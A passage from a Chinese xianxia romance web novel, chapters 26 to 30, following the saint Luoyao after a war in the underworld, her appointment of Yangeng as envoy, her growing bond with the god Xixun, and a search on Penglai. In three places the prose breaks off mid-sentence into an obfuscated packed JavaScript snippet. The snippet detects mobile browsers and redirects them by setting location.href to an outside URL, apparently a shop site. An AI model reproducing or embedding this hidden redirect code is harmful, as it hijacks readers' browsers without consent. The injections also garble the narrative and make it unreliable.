身后传来脚步声,纭姬搀扶着玄衣妇人缓缓走来,炎庚低首,唤了一声:“母亲。” 他主动让开了位置。妇人走近,神情不是全然的喜悦,亦不是伤怀、愤怒,好像大仇得报的痛快里夹杂着几分怜悯。 嬴夫人弯下腰,从伯池腰间取走了象征界主的令牌,滚着银边的华丽衣袍也被她踩在了脚下。 她说:“伯池,你最宝贝的江山大业,现在归我了。” …… 一场大战过后,天地归于平静。冥宫繁华不再,废墟七零八落堆叠起来,从祭坛一直蔓延到了宫门之外。 小雨下得淅淅沥沥,洗刷着一众不知名的荒凉殿宇。珞瑶独自停在一处屋檐下,望着远处祭坛上熙攘的人群,却没有凑上去,紧绷已久的精神终于松弛了下来。 方才与伯池过招时没觉得,如今闲下来,才感受到小腹的痛感尤为清晰。 尽管有炎庚输送了一部分内力,但她为了不提前暴露身份没有及时疗伤,坚持到现在,到底是有损本体灵息。 珞瑶感到疲惫极了,摸索着手边的墙壁和石柱,缓缓蹲了下来。 她流了太多血,原本裙上沾染着的已经凝固了,现在又被雨水冲了下来,洗刷、稀释,在她脚下一圈留下绯红色的涟漪。 旁边就是常年冰封的宫河,不知何时解冻了,河水重获了自由,争先恐后地向东流着。 雨幕里,珞瑶看见河面倒映的疮痍影子,很快那些画面又被飞溅的水点击碎,消失不见了。 雨越下越大,残破的屋檐已无力遮挡,猖狂的雨丝纷纷斜飞进来。就在珞瑶使力想站起来的时候,那些冰凉的雨滴忽然消失了,在她头顶撑起了一片阴影。 珞瑶抬起头,看见稚嫩的女孩站在她面前,居然是小然。 明明拿着伞,她的模样却很是狼狈,单薄的衣衫湿答答的,满脸不知是雨水还是泪痕。 女孩无措地红着眼睛,似乎想要解释什么,最后却什么都没有说,嚎啕大哭起来。 “我错了,对不住,真的对不住……” 在被押送至冥都的路上,炎庚言辞隐晦,向珞瑶透露了许多,比如那把伤了她的短剑来历不凡,很可能是伯池赐予赶魂人的灵物;再如赶魂人有摄魂的本领,能让失去记忆的囚徒为己所用,进而指使他们、利用他们。 被掳下阴间的人丢了性命,终日囚于不见天日的暗室,岂有自主的权利,小然就是如此。 好在她还没来得及铸成大错,赶魂人已死,摄魂术便失效了。 雨水不断积聚,压弯了伞面,不堪重负地向她倾斜,小然微弱的魂魄暴露在雨中,显得愈发黯淡。 “对不住,对不住……” 她泣不成声,只是翻来覆去地重复着这三个字,也许被抽走记忆以后,她已不记得其他道歉的话语该怎样说了。 少女的哭声仿佛有镇痛之效,短暂地麻木了小腹传来的痛感。珞瑶握住伞柄,用手包裹住小然的手,把歪向自己的伞面缓缓扶正。 跳珠般的雨点顺着伞骨,均匀地滚向四面八方,用水幕隔绝出一方窄小的天地。 萧索的风不曾停歇,站在伞下,小然脸上的雨水很快被吹干了,只剩下斑驳的泪痕,旧的去了,新的又来。 珞瑶说不出是什么感觉,仿佛心也像冥宫里的砖瓦那样,在寂静中塌下去了一块。 陌生的情绪牵动着名为“圣女”的那一根心弦,自降世以来,她从未如此清晰地看见众生的苦难,听见生灵万物的哭声。 望着少女哭红的泪眼,珞瑶屏息,轻轻用指腹擦去了她眼角的泪珠。 27. 江河一粟(一) 众人费了许多周折,总算将冥界的乱子料理干净,嬴夫人重回界主殿,而后遵从约定,爽快地将归魂灯交给了上界。 至于珞瑶等人执意要得到归魂灯的目的为何,她并未过问,总归有益于六界便是了。 珞瑶带着归魂灯,和众神一道赶回了澜渊圣境,在承接天谕的圣坛之上,他们共同施法,将归魂灯封存进了重重严密的禁制中。 归魂灯到手,镇幽珠就算救活了三分之一,而且,在冥界花费的时间比他们预想的要短得多。 望着高处圣坛上固若金汤的结界,沧丞神清气爽,对着珞瑶一口一个“神通广大”,什么“六界没你不行”的赞扬溢美之词张口就来。 也幸亏是珞瑶,要是换了别人,高低给他几个嫌弃的白眼。 气氛早已不像镇幽珠最初失灵时那样沉重了,一片欢呼雀跃声里,珞瑶眼中也露出暖色。 待三样灵物集齐归位,镇幽珠重回巅峰时的力量,那些闯进界壁的不速之“客”,自然不足为惧。 她心知前路是乐观的,可不知为何,先前在梦境里看见的那些惨烈场景,总是在她脑中挥之不去。 好像冥冥之中刻意指引着她,也许是警示,也许是预言。 珞瑶眸中的笑意淡了些,一抬眼,恰与羲洵对上了视线。他正望着她,目光不像旁人那般欣慰或喜悦,反而微微暗着,像是心中有事。 她竟在他眼中看出了同自己一样的忧虑。 珞瑶暗暗一怔。 羲洵察觉到了她的注视,神色很快柔软下来,面上仍有担心,但与方才的情绪明显不同了。 “阿瑶,先疗伤吧。”他走到她身边,提醒道。 从冥宫回来后,珞瑶还没空出闲暇处理自己的伤口,拖得越久,对她的身体就越不利。 “伤得不重,我自己来就好。”珞瑶点了头。羲洵知她一向独立,便也没有强求。 经羲洵一提,其他几位神明也想起了珞瑶负伤这一茬,纷纷告辞离去,好让她安静养伤。 珞瑶独自回到初昙殿。冥界之行消耗了太多的精力,连日高度紧绷的状态已经让她极度疲惫,草草调息过后便睡着了。 这一觉睡得昏昏沉沉,近日时常光顾的梦魇这次也难得识趣,安分地没有来打扰她。 下次睁眼已是翌日。珞瑶从树藤编成的卧榻上起身,身子仍是说不出的懒怠,自行探了探体内,灵台中的气息较昨日有所稳健,但与往常相比还是稍显凌乱。 殿外霞光映天,偶有鸟鸣花语之声,内室则很是静谧,丹狸也累了,正蜷着身子在花丛中补觉。 珞瑶没有叫醒它,路过后殿的外廊时,看见了一个熟悉的身影,正靠在青石廊柱旁,不知在这里站了多久。 珞瑶诧异,问:“你怎么在这里?” “不是你让我今日过来的吗,忘了?”炎庚循声看过来。 珞瑶这才想起,昨日离开冥界时自己让他今日到澜渊来,好授习圣境使者应该掌握的镇幽术法。 她面上闪过一丝迷茫,不过回忆起昨日的约定,很快便恢复如常了,炎庚看着觉得有趣,却又见她神色仍是苍白的,实在不像已经恢复好的样子。 “你的脸色可不大好,若你不便,我可以明日再来。” 他笑意稍敛,说道,而珞瑶摇了摇头,“圣使之职岂容疏忽,我们已耽搁多日,不可再拖延了,随我来吧。” 珞瑶在前行,炎庚在原地留了两秒,到底是妥协了,抱臂跟上去。 落霞谷位于初昙殿之后、碧火台之下,灵气充盈,又有碧火台上的结界护佑,是身担圣境之职者修习术法的好地方。 花谷中,柔和的光芒如水波般蔓延开来,霎时间将两人包围在中央。 自降世以来,珞瑶手下已经出过不少圣使,其中不乏身份不凡、修为颇高的佼佼者,但如炎庚这般的还是头一个。 嬴夫人重新掌权后,他便成了冥族朝中炙手可热的一号人物,不参与政局积攒势力,反而揽下圣境使者这种危险又劳累的活计,到底是显得不太明智。 不论珞瑶如何想,至少外界看来是这样的。炎庚看着她,像是猜到什么,勾起了唇角。 “我曾经是为嬴氏一族而生的。伯池既死,我心中已无执念,即便是身死随之而去,我……” 他缓缓道,话说一半,忽然感到一阵疾风袭来,一角柔滑的衣料毫不客气地迎面而至,从他脸侧刮过去。 “歪门邪说,住口。”珞瑶斥道。 她心中本就有顾虑,只是仍在思索,便没有立即开口,炎庚的这番话一出,在她心里相当于坐实了自己的猜测。 她受命于天拱卫六界,怎容得下有人将圣使之职当作无所谓的玩乐? 珞瑶收回手,脸色也冷了下来,“你连自己的性命都不珍惜,如何能珍惜苍生的性命,若将这圣使的位置给了你,只怕既拖累你的一腔‘抱负’,又耽误冥界的安危。” 她又记起昨日在冥界祭坛上他甘愿献祭的场景,原本已经唤出了镇幽珠,正准备向炎庚授法,现在却无论如何都做不下去了。 万物有灵,一切皆有其存在的意义。自轻自贱,一心向死,绝非什么洒脱之事。 炎庚猝不及防被抽了一“巴掌”,茫然了一瞬,随即也反应了过来。其实他想说的是自己了无牵挂,自会为了冥界的安危尽心竭力,但她明显理解成了另一种意思。 见珞瑶欲离去,炎庚眼疾手快地拦住了她,“你误会了,我曾经是有过悲观的念头,但如今已不同了。再说天下人的眼睛都看着呢,我岂敢拿圣职当儿戏?” “你便信我这一次,若我的表现达不到你的要求,你再罢黜我。”他道。 圣女的衣角轻如蝉翼,停在手中触感微凉,令人舍不得放开,炎庚望着,不禁拉得更紧了些。 珞瑶方才是短暂的气性上头,听了炎庚的话后也找回了几分理智,意识到是自己误解了他的意思。 从前她确有迟疑,担心他做圣使是抱着游戏的心思,如今把话说开,她便没有顾虑了。 “不论如何,你心中当有决断。”珞瑶道,重新召唤出了镇幽珠。 炎庚接下来要接受她传授的术法,松开了拉着她袖角的手。轻薄的衣料从他指间滑过,几道被攥出来的褶皱立刻垂展,没留下一丝痕迹。 落霞谷光芒大盛,云彩被染上了霞晕,瑞鹤百鸟飞出澜渊,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271362|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新任圣使诞生的消息昭告了天下。 珞瑶催动灵珠,将镇幽术法输进了炎庚的神识之中,后者低眸一瞧,自己手腕内侧已然刻下了一朵莹蓝色的灵昙印痕,朦朦胧胧地发着光,象征着圣使的身份。 自此以后,他便是她的下属了。 陌生而强大的灵力术法入体,炎庚有所不适,好在自身修为足够深厚,很快便适应了。 落霞谷灵力平稳,使人心都静了下来。身后是摇曳的花丛,对面人姿容沉静,如月华霜雪一般,天边暖色的霞光投下来,又让她染上了不一样的色彩。 炎庚手拄着头,那双眸子被映成了金红色,“我本以为澜渊花草繁盛,总该有几丛种着昙花的地方,谁知遍寻不见,最后才发觉,原来是只有圣女这一枝。” 珞瑶:“昙花易谢,不如多种些常青的。” “我倒觉得,常青的草木不及昙花,纵然短暂,却也足够轰轰烈烈。”炎庚笑了一下,也不知她到底能不能听出自己话中的意思。 左右日后时间还长。天道赋予昙花转瞬即逝的宿命,却没说过由灵昙化身的圣女不能福泽绵长,寿与天齐。 他既成为了圣使,就必会尽己所能。 诚如炎庚所说,澜渊的花花草草很多,而珞瑶也确实没有种过昙花。原因很简单,她喜欢看百花盛开、草叶青葱的模样,这让她感到安心,仿佛能通过这一方天地看见六界泰然安稳的全貌,但昙花的花期实在是太短了。 两人有一搭没一搭地说着话。 珞瑶望着远处繁盛的花丛,忽地想起了上次去沉泽宫的时候,在碧玉水潭边看见的那片昙花海。 世人常说“花落花开自有时”,但羲洵显然不这么想。他不肯顺应自然,宁愿耗费神力留住那些本应逝去的生机,给予它们永生。 如此反常的固执,似乎不该是平和宁静的神君该有的处世之风。 修成圣使术法的人还要在落霞谷中修炼一日,待灵力稳定后方可大成。珞瑶身子还没好,于是将炎庚留在了这里,自己先回初昙殿休养。 珞瑶念着公务为重,方才在落霞谷时是强打着精神,而今回到内殿独处,疲倦之意复又袭来。 昨日在冥界伤了她的不止小然一个,伯池在冥宫布下了天罗地网,过招时也多少对她造成了伤害。加之冥族术法大多阴寒,与澜渊蕴养的灵力相冲,便延缓了她恢复的速度。 灵草花藤悄然簇拥了上来,缥缈的灵气浮漾在她周围,繁复的圣女裙袍缓缓消散褪去,最后化作了一袭素衣。 珞瑶独自调理着气息,咳了好几声,猩红色溅到衣裙上,留下星星点点的痕迹。 逼出体内的寒气和污血后,她的状态稳定了许多。不知过了多久,泠泠泉声响起来,殿外浮镜闪动,发出柔和的金光。 是羲洵来了。 对身担圣职者来说,负伤乃是常事,每次受了伤,珞瑶都是在澜渊独自修养,而不会主动把脆弱和狼狈展示给他人看。 众神与她相熟,也尊重她的意思,极少在她闭关养伤时前来拜访,但这次…… 珞瑶心下很是意外,不由直起了身体,看见他走近些许,遥遥在门框中映出了一个影子。 28. 江河一粟(二) 羲洵的确来了,却没有入殿,而是在廊下停了下来。 紧闭的房门外面,珞瑶听见他温和的声音,全然没有当日处置伯池时的慑人,“阿瑶,你还好吗?” “已经没事了。”珞瑶稍稍抬高声音,陡一开口才察觉出发哑。 隔着厚重的殿门,羲洵的声音显得略低,嘱咐道:“昨日羲泠看过你的伤势,专门炼制了新的丹药,能助你护住元神,我已经交给丹狸了,你定要记得服下。” 珞瑶一怔,莫名觉得这番话有些熟悉,似是在哪里听过。 还有,羲洵特地过来一趟,却止步门外,只是送药和询问,而没有进来的意思。 不管心中如何迟疑,珞瑶都先应了声,不忘道了一句“多谢”。 殿中点着铃兰灯盏,羲洵站在外面,正好能透过光线瞧见她的影子,朦朦胧胧地半隐在水边,虽然看不真切,起码能确认她精神尚好。 他手指轻轻覆上门框,“我在路上听到了落霞谷的鹤鸣,是有圣使来向你禀报事务了吗?” “是炎庚,他在后殿。” 里面的声音很快响起,彻底坐实了他心下所想,羲洵眸子暗了暗,指腹无意识划过窗棂表面精致复杂的纹路。 昨日众神散去,他找到了丹狸,向它询问这几日的情况,丹狸自然不隐瞒,将最近珞瑶几人在冥界发生的事悉数讲了一遍。 在听说珞瑶被一把来历不明的短剑所伤,之后却依然选择深入冥都时,羲洵的脸色很是难看,继而明白了为何她看上去那般虚弱,原来原因就在于那把剑——如果那是从冥宫流出的法器,恐怕会是一件极度阴寒的灵宝。 珞瑶为了得到归魂灯负伤入局,不惜错过疗伤的最佳时机,可如果当时伯池手里还藏了什么不为人知的杀招,她该如何全身而退? 太冒险了。 思及当时的惊险,羲洵不禁感到一阵自责,后悔没能同她一起,却又有心无力。 他心思微乱,向丹狸追问:“她方才虽虚弱,却不像元神受损的样子,是嬴夫人帮了她吗?还是……” “是我为她输送了灵力。” 身后响起一个男声,羲洵微顿,目光几不可察地凝住了。 丹狸窝在他掌心,看清了他神情的变化,一头雾水,更不知为何神君听见炎庚的声音就冷了下来,当下也不敢出声了。 但这细微的变化只有一瞬,羲洵转过身去,眉间神印无声闪动,如盛阳留下的一道金辉。 “原来是炎将军,此次事态凶险,我替珞瑶向你道谢。”他道。 口吻稍显疏离,却不会使人感到不安。 “她早已知道此事。” 两人对面而立,炎庚道,“况且,道谢岂有‘代替’一说?神君属于神山,可不是澜渊之人。” 羲洵面色未变,直视着他,“炎将军是觉得,我没有这个资格?” 他语调平静,含着隐秘的威压,云间日光愈盛,晒得灼人,疾风吹乱了湖畔的青柳。 炎庚不置可否地侧过身,避开了天边刺眼的烈光,徐徐行至羲洵身边。 “看来神君有心将婚约继续下去,可我见圣女处事淡然,不知是否与神君心意相通呢。” 他声音低低的,那双红宝石般的眸子闪着似笑非笑的光,仿佛只是好奇询问,又仿佛是有意为之。 不论炎庚目的如何,但这番话实在是僭越,也戳中了神明的死穴。 羲洵的目光变冷,淡淡道:“我与她之间的事,就不劳旁人费心了。” 炎庚见好就收,不忘稍一欠身,“是我失言,望神君宽宏大量,莫要介怀。” …… 昨日寥寥几句令人不愉的对话犹在耳畔,随之被唤醒的还有更为久远的记忆,羲洵立在圣女殿外,眸中有隐忍的郁色,又被他自己强行抹去。 他暗暗调整呼吸,最后却还是没能忍住,低低问出了口:“你伤势未愈,他在这里,会不会打扰到你?” 不管是羲洵自己还是珞瑶,都对这里的“他”是谁心知肚明,珞瑶一愣,不明白羲洵为何会问如此突兀的问题,隐隐觉得有些奇怪。 炎庚成为了圣境使者,来到澜渊不是什么稀奇事,今后出现在这里的次数也只会多,不会少。 ——他会不会打扰你? 珞瑶在心里默念了一遍,有疑惑,却莫名感觉羲洵的言辞、语调都十分耳熟,方才就有所感知的那种熟悉感,竟愈发强烈起来。 心中有个模糊的念头呼之欲出,又很快溜走了,所幸珞瑶反应快,敏锐地捕捉到了脑海深处一闪而过的记忆,思绪随之恍然——是那个梦。 她之所以感到熟悉,是因为上次从孤妄崖归来后做的梦。 花草无声拂动着,静谧到了极处,但足以令廊下之人心乱。 殿中迟迟没有回音,羲洵心焦地抿了一下嘴唇,这才后知后觉察觉出自己话语欠妥,于是闭了闭眸,又是自悔,又是挫败。 “阿瑶,我并无窥探之意……” 他怕珞瑶误解,哑着声音解释,“我的意思是,莫要让其他人打扰了你疗伤。” 往常的羲洵总是淡然且从容的,今日却显得有些浮躁。 珞瑶停下了调息,迟疑地问:“你是不是还有话对我讲?” “只是挂念你的伤,现在听过你的声音,我便安心了。”羲洵道。 他仍立在廊下,即使珞瑶看不见,也轻摇了摇头,低垂的眸中含着柔意,连眉间金痕都染上了暖色。 他已从刚才反常的状态中抽离出来,不禁暗嘲自己沉不住气,心中多了几分无奈。 失礼至此,幸好阿瑶情窍不通,否则他可真要无处遁形了。 女子的身影朦胧明暗,隔着轻薄的窗纸,羲洵的指尖轻轻覆上去,描摹她的轮廓。 片刻后,他停下,终是退开几步。 “你好好休养,我便回神山了,待过几日你彻底恢复,我们再议要事。” 他声音轻松,说完不再多留,向廊外去,全然不知珞瑶在里面听着,眸光微微颤动。 从镇幽珠险些遭窃那日到现在,她已经做过了好几场梦,每一场都令她印象深刻。她以为那些梦境虚无缥缈,入梦不过是偶然,直到现在—— 当时之梦,几乎与今日之景重合了。 她记得那场梦,正发生在圣女殿前。梦中,她重伤难愈,不愿与羲洵见面,炎庚却在这里,自作主张出了殿,两人之间不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285041|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知说了什么,总之是闹得不太愉快。 最后,神明动了气,不再强求与她相见,但依然是不欢而散。 梦中场景,就在此处戛然而止。 今时之景与梦境多有相似,不同的是,梦中羲洵尚有相见探望之意,而今日他从神山千里迢迢赶到这里,却只是守在门外说了几句话,没有提及见面。 羲洵行事一向周全,这次态度自然,堪称小心地维护着他们之间那条舒适的“线”,实则多了几分往日没有的疏离。 他只字未提与她相见,就好像笃定:就算真的提出来,她也不会答应。 这一念头从脑中蹦了出来,看似不着边际,却让珞瑶难以忽略,顿时涌起了一种怪异的感觉。 许是仍受伤病影响,珞瑶的思绪开始乱了,紧接着不由自主地想起:倘若她的梦境并非虚幻,而是终与现实交汇,那其他梦呢? 幽祟溢流,六界失守,是否也是天地命途无可逆转的投射,终有一日会实现? 铃兰叮当作响,属于神明的气息越来越遥远,珞瑶呼吸急促,一颗心咚咚狂跳起来。 也许是情窍在无形中松动,也许是不愿自我乃至六界的前路被一场荒唐的“梦境”支配,所以选择了抗争——她突然站了起来,踉跄着向外面去。 太阳藏进了阴云,圣女殿外,两侧的花草无精打采地垂着头,仿佛某种安静的恭送。 羲洵走下台阶,沉默地经过长廊。 重来一次,他心中早就做好了准备,所以对眼前的结果不觉意外,从前那些难以释怀的怒与怨,也在迢迢流逝的漫长岁月中被悉数抹平了。 如今,他早已不会失态,只是到底有几分难言的失望和孤寂,悄悄掩藏在心底。 羲洵垂了垂眸子,只身向圣境外走去,下一刻,身后的殿门陡然开启,一道熟悉的声音毫无遮掩地传进了他耳朵,“羲洵!” 那声音因伤而低哑,却不难听出其中急切。羲洵瞳孔骤缩,一瞬间直直愣在了原地,几乎要以为是自己的幻听。 他猝然停下脚步,一回头,看见珞瑶站在廊下,面色青白。 她扶着石柱,呼吸微微凌乱,一身素色衣袍上还染着没来得及处理干净的血迹。 一向冷静自持的圣女,却是不顾仪态地疾奔出了殿。 怎么会…… 羲洵意外极了,眸光剧烈地颤动着,他看清了她的伤势,心下担忧,又满含着不敢置信的惊喜。 廊下,珞瑶对羲洵细腻的情绪变化浑然不觉,满腹话语到了嘴边,却不知该从何说起。 是梦境,还是现实? 穿堂风缓缓拂过,吹散了遮天蔽日的云层,珞瑶张了张口,“你……” 她还没说完,便被拥进了一个温暖的怀抱,带着前所未有的炽热,珞瑶顿时僵住了,只听得见那人近在咫尺的喘息声,心跳亦如鼓点般两相交叠。 圣女不通情爱,亦是第一次与人拥抱。 羲洵的声音在她耳畔响起,雀跃都快要溢出来,“看来下次,我要走得更慢一点。” 朝暮轮转,日月交汇,原来就算是既定的轨迹,亦有发生改变的一线生机。 这一次,他终于等到她了。 29. 江河一粟(三) 孤妄崖,界主殿。 雾气缭绕在山峦上空,千寻瀑布自青崖间飞泻而下,泠泠生音。 夜絮自虚空走进中庭,不禁放轻了呼吸。 不远处传来几人相谈的声音,他踏上石阶,绕过盘亘的古树,坐在棋桌前的沧丞一眼就发现了他,扬了扬手中的酒壶,“夜絮,你怎么才出来?我酒都要喝完了!” 夜絮张了张口,“我……” 众神都在这里,有的倚在藤椅上弹琴翻书,有的窝在荷叶间小憩。 朝梧从树间探出头来,冲他招手,“刚摘的果子,接着!” 红彤彤的仙果从高处飞下来,夜絮立刻伸手接住了,他微微失神,良久,才从怅然中缓过来。 这是五千年前的神山,一草一木都是他熟悉的风景,宁静又美好,再度置身此地,仿佛一切都回到了令人向往的原点。 传音蝶在空中徘徊,这时候,连通下界的神梯传来响动。 羲洵见状,挥手解开了禁制,他望向夜絮,话语无奈中带着歉意,“阿泠稍后就过来,嘴上说着来看我,恐怕真实目的又是去烦你……夜絮,你多担待。” 他怎么会嫌烦。 夜絮暗自欣喜,紧接着眼前一转,便回到了自己的巫神洞天。 玉面白狐从沉泽宫方向跑了进来,化为人形,她尚未飞升,此时便仍是一身仙界的装束,十分娇俏,发间还戴着一朵盛放的木棉花。 羲泠来到他面前,稚嫩的脸颊红扑扑的,“夜絮哥哥,你洞府的木棉花好生漂亮,就让我摘几丛拿回去酿酒吧。” 他们已许久不曾有过如此温情的时候,就好像从前发生的意外都是一场梦。 夜絮深深望着她,声音轻柔又宠溺,“你若喜欢,我便在这里种出一片林子供你观赏,可好?” “你、你今日是怎么了?以前我借口过来找你,你都拉着个脸。” 羲泠明显一愣,被他忽如其来的殷勤弄得不知所措,低下头小声嘟囔,“突然这般热情,都不像你了……” 夜絮僵住,目光怔怔:“不像了?” “是啊,以前你都不怎么理我的,恼了就说‘我还有事务在身,恕难奉陪,请仙君自便……’” 羲泠不疑有他,一本正经地学他说话,没有察觉出对面人脸色异样的苍白。 幻梦造时之术是巫神独有的本领,能开辟时间裂隙,制造出一片虚无的幻境。 陨落之后,夜絮体内仍有三分神力残存,他一遍遍走进幻境,却无论如何都变不回当初的模样了。 夜絮箭步上前,紧紧拉住“羲泠”的手,“阿泠,你怪我吗,你是不是早就怪我了?我不该假装对你冷淡的,我明明——” “羲泠”被吓了一跳,一时竟没反应,他情绪激动,语无伦次地说着,直到耳边突然响起急切的呼喊。 “尊上,尊上!” 刹那间,女子连同木棉花、殿宇、洞府,乃至整个神山一道轰然消散,只剩下夜絮一人留在原地。 “阿泠,你别走,阿泠!” 他失声惊喊,下意识想要留住眼前的一切,却于事无补,只有眼睁睁看着所有人和物化作纷纷碎片,被收回了人为的时间裂隙中。 神山云雾缭绕的景色散去,取而代之的是昏暗沉寂的界主殿,铺满公文的石桌触手冰凉。 夜絮急促地喘息着,良久才如梦初醒,后知后觉出了一身冷汗。 神明术法威力强势,每施展一次都要消耗大量的修为,侍从神情担忧,忍不住劝道:“属下知道尊上怀念过去,可过去已成定局,终究物是人非,尊上总伤自己的身体也不是个办法……” 夜絮刚从幻境中出来,心中一阵怅然若失,疲惫之余无心与下属多言,只摆了摆手,问:“什么事?” 侍从回禀:“冥界那边传来消息,伯池已死。听闻几位神君从冥宫带走了归魂灯,却没有拿回神山,而是安置在了澜渊圣境。” 近日冥族多有动荡,上界出手断了冥宫的案,最后只从嬴氏手里拿走了一盏平平无奇的灯。 此事在各界传得沸沸扬扬,皆猜测那盏名为“归魂”的灯大有来头,才会引得神明青眼,但夜絮却清楚:以神山的行事之风,背后缘由怕是不会如此简单。 如今,归魂灯没有放在神山,就更证实了他的猜测。 “只要火烧不到孤妄崖,万事便与我们无关。”夜絮淡淡吩咐。 他早已不是神族了,何必多管闲事,招惹是非。 侍从会意,低首道:“属下明白。” 神山不想让外界知道,夜絮亦没有探究的兴趣,因此,那些念头只在他心中闪过了一瞬,便随风消散了。 他顿感无味,随手一挥,欲销毁面前仍支撑着的裂隙,刹那间却感知到了什么,扬起的手蓦然停在半空中。 裂隙之外,纵横交错的时间流陡然凌乱起来,让夜絮瞳孔骤缩。 侍从发觉魔尊的反常,试探问:“尊上,怎么了?” 夜絮没说话,心中满是难以置信。这是—— 他手放在涌动的裂隙前,复又细细感受了一番,时间异样的运行状态愈发清晰。 “何人大胆至此……” 他缓缓后退半步,低喃道。 作为昔日的神明,夜絮自问神力尚有残存,无人比他更精通幻梦造时的术法。他清楚,天地时空运行万万年,向来平稳有序,自有一套无需世人干预的规则。 可是这次,他竟从中发现了时间混乱的痕迹。 …… 转眼便一月过去,除却偶有幽祟出没外,六界还算平静,归魂灯事了,上界不曾停歇,继续寻找雾河泥的踪迹。 这天,珞瑶身体已经养好,随羲洵、羲泠一道来到了蓬莱仙岛。 他们挥退前来迎接的仙族百官,轻车熟路穿过云灯浮桥,站在此处远眺,恰好能看见高耸入云的藏经塔。 “你们去冥界的那段时日,我日日在蓬莱,已将这藏经塔中的古籍悉数翻过,但没有找到任何有关雾河的记载。” 羲泠的目光投向藏经塔旁边那略低一丈的古楼,“就连经纬楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289822|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我本不愿踏足,最后还是进去翻查了许久。” 仙界势大,其世代累积的珍贵古籍浩如烟海,内容也最为鸿富,远非其他族界可比。 若这里都没有线索,借助古书寻找的希望便渺茫了。 含着雾气的风吹过,带起一阵微寒。珞瑶想说话,抬起眸子一望,才发现身旁两人面色似有异,气氛也莫名的沉寂,不知事出何因。 羲泠不再看远处那座古楼,似妥协了,“……罢了,左右已经来了,我再去翻一翻。” 说罢,羲泠很快离去,羲洵并未留她,只是在她离去之后,情绪不明地轻叹了一声。 身旁,珞瑶始终注视着他,羲洵自然有所察觉,片刻后,他恢复如常,无奈地冲她一笑。 “你看藏经塔西侧,那便是经纬楼,从前是老仙主华辛处理公务的书房,后来,它的主人离开了,它就成了仙族共用的藏书阁。” 羲洵声线轻缓,主动坦白,“小的时候,羲泠常常在里面念书写字,赶都赶不走,但自从老仙主去后,她便不愿踏足了。” 上任仙主华辛为抵御幽祟而牺牲,若羲洵没有飞升,现在本该唤她“母亲”。 他堪称平静地陈述着往事,清隽的侧脸轮廓在雾中朦胧,笼上了一层寂色。 珞瑶望着他,忽然问:“那你呢?” “什么?”羲洵不解。 珞瑶:“你年少的时候,也是在经纬楼上写字吗?” 听完这句话,羲洵脑中空白了一瞬,珞瑶性子冷,哪里对这些小事感过兴趣? 意识到这一点后,他的心跳快了半拍,看着珞瑶一本正经好奇的样子,原先笼在心头的几分怅然竟在无形中一扫而空了。 他不禁笑起来,“那时经纬楼尚未建成,我跟着先生在自己的书房读书,后来到了年纪,便只一门心思修炼了。” 珞瑶轻轻颔首,那双柳叶眸素来沉静,此时也似含着一分悦色。 话没说多久,仙主殿那边的人接到消息,急匆匆朝这边赶来迎接。 珞瑶无心应付,对羲洵道:“我去找羲泠,你与霄霜熟稔,不妨去见她一面,旁敲侧击打听一番。” 羲洵应了,她化作一缕光晕,向经纬楼方向去。 …… 等到珞瑶到达经纬楼最高那一层的时候,羲泠已经把自己淹进了密密麻麻的书海里,她动用了神力,手下书页不停地翻动着,像被秋风吹起的落叶。 珞瑶也加入了她,两人忙碌了好一会儿功夫,将整座经纬楼存放着的仙籍古书又全部翻找了一遍,到底是没有看见期待的东西。 羲泠放下手里最后一本书,彻底卸了力,“看来指望书本是不成了。” 初次踏进这经纬楼,珞瑶方得闲暇,环视了一圈周遭,入眼是简洁古朴的陈设,暖玉作浮灯,青乌木制成的桌案、圈椅,端方不失雅致。 这里给人的感觉,倒是与神山上的沉泽宫颇有几分相似。 桌上放着笔墨纸砚,都已经闲置许久了,若是在凡间,现在早已积上一层厚厚的灰。 30. 江河一粟(四) 羲泠走近桌案,停在笔架前,“以前我总赖在这里,不肯修炼,就喜欢抱着酸词话本看,羲洵比我懂事得多,我刚刚识字的时候,他都学会御剑了。” 自从蓬莱之变后,羲泠的性格就变得孤僻,极少主动提起旧事。 珞瑶静静地立在一旁,没有出声打扰,听她继续说,“珞瑶,你看,这是羲洵用过的雀毫。” 珞瑶循声望去,看见她手里拿着一支笔,笔尖为灵雀羽毛制成,笔杆则通体泛着象牙般的光泽,仿佛能透过这支笔,看见曾经尚未磨练沉稳的神祇。 “他在这里批过公文,以前老仙主闭关了,就由他代行界主之职。” 许是触景生情,今日的羲泠格外鲜活,不似从前那般寡言少语。她自顾自说着,提起羲洵,眼中终于露出笑意,“不过他不喜欢做这个,他自小天赋异禀,浪费在那些政务上的时间,说不定都够他飞升两次了。” 